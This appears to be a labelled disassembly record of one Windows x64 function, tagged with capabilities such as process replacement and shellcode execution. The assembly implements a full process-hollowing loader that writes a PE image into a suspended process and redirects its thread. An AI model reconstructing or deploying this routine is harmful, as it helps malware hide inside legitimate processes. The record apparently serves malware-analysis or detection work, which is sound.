Function at 0x1400018ae
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push rbp
sub rsp, 0x220
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1b0], rcx
mov qword [rbp + 0x1b8], rdx
cmp qword [rbp + 0x1b8], 0
je 0x1400018eb
mov rdx, qword [rbp + 0x1b8]
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.strcpy
jmp 0x140001906
lea rax, [rbp - 0x30]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov rax, qword [rbp + 0x1b0]
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x1b0]
mov edx, eax
mov rax, qword [rbp + 0x190]
mov eax, dword [rax + 0x3c]
add eax, edx
mov eax, eax
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x188]
mov eax, dword [rax]
cmp eax, 0x4550
jne 0x140001c6a
lea rax, [rbp + 0x150]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0xe0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x150]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0xe0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
setne al
test al, al
je 0x140001c6a
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x180], rax
mov rax, qword [rbp + 0x180]
mov dword [rax + 0x30], 0x10000b
mov rax, qword [rbp + 0x158]
mov rdx, qword [rbp + 0x180]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
test eax, eax
setne al
test al, al
je 0x140001c6a
mov rax, qword [rbp + 0x180]
mov rax, qword [rax + 0x90]
add rax, 8
mov rcx, rax
mov rax, qword [rbp + 0x150]
lea rdx, [rbp + 0xd8]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rdx
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
mov rax, qword [rbp + 0x188]
mov eax, dword [rax + 0x50]
mov ecx, eax
mov rax, qword [rbp + 0x188]
mov rax, qword [rax + 0x30]
mov rdx, rax
mov rax, qword [rbp + 0x150]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x188]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rax, qword [rbp + 0x150]
mov rcx, qword [rbp + 0x1b0]
mov rdx, qword [rbp + 0x178]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x19c], 0
jmp 0x140001bb2
mov rax, qword [rbp + 0x1b0]
mov edx, eax
mov rax, qword [rbp + 0x190]
mov eax, dword [rax + 0x3c]
lea ecx, [rdx + rax]
mov edx, dword [rbp + 0x19c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
add eax, ecx
add eax, 0xf8
mov eax, eax
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x170]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0x1b0]
mov edx, eax
mov rax, qword [rbp + 0x170]
mov eax, dword [rax + 0x14]
add eax, edx
mov eax, eax
mov rcx, rax
mov rax, qword [rbp + 0x178]
mov edx, eax
mov rax, qword [rbp + 0x170]
mov eax, dword [rax + 0xc]
add eax, edx
mov eax, eax
mov rdx, rax
mov rax, qword [rbp + 0x150]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
add dword [rbp + 0x19c], 1
mov rax, qword [rbp + 0x188]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x19c], eax
jl 0x140001b12
mov rax, qword [rbp + 0x188]
lea rdx, [rax + 0x30]
mov rax, qword [rbp + 0x180]
mov rax, qword [rax + 0x90]
add rax, 8
mov rcx, rax
mov rax, qword [rbp + 0x150]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rdx
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [rbp + 0x178]
mov edx, eax
mov rax, qword [rbp + 0x188]
mov eax, dword [rax + 0x28]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x180]
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x158]
mov rdx, qword [rbp + 0x180]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov eax, 0
jmp 0x140001c6a
add rsp, 0x220
pop rbp
ret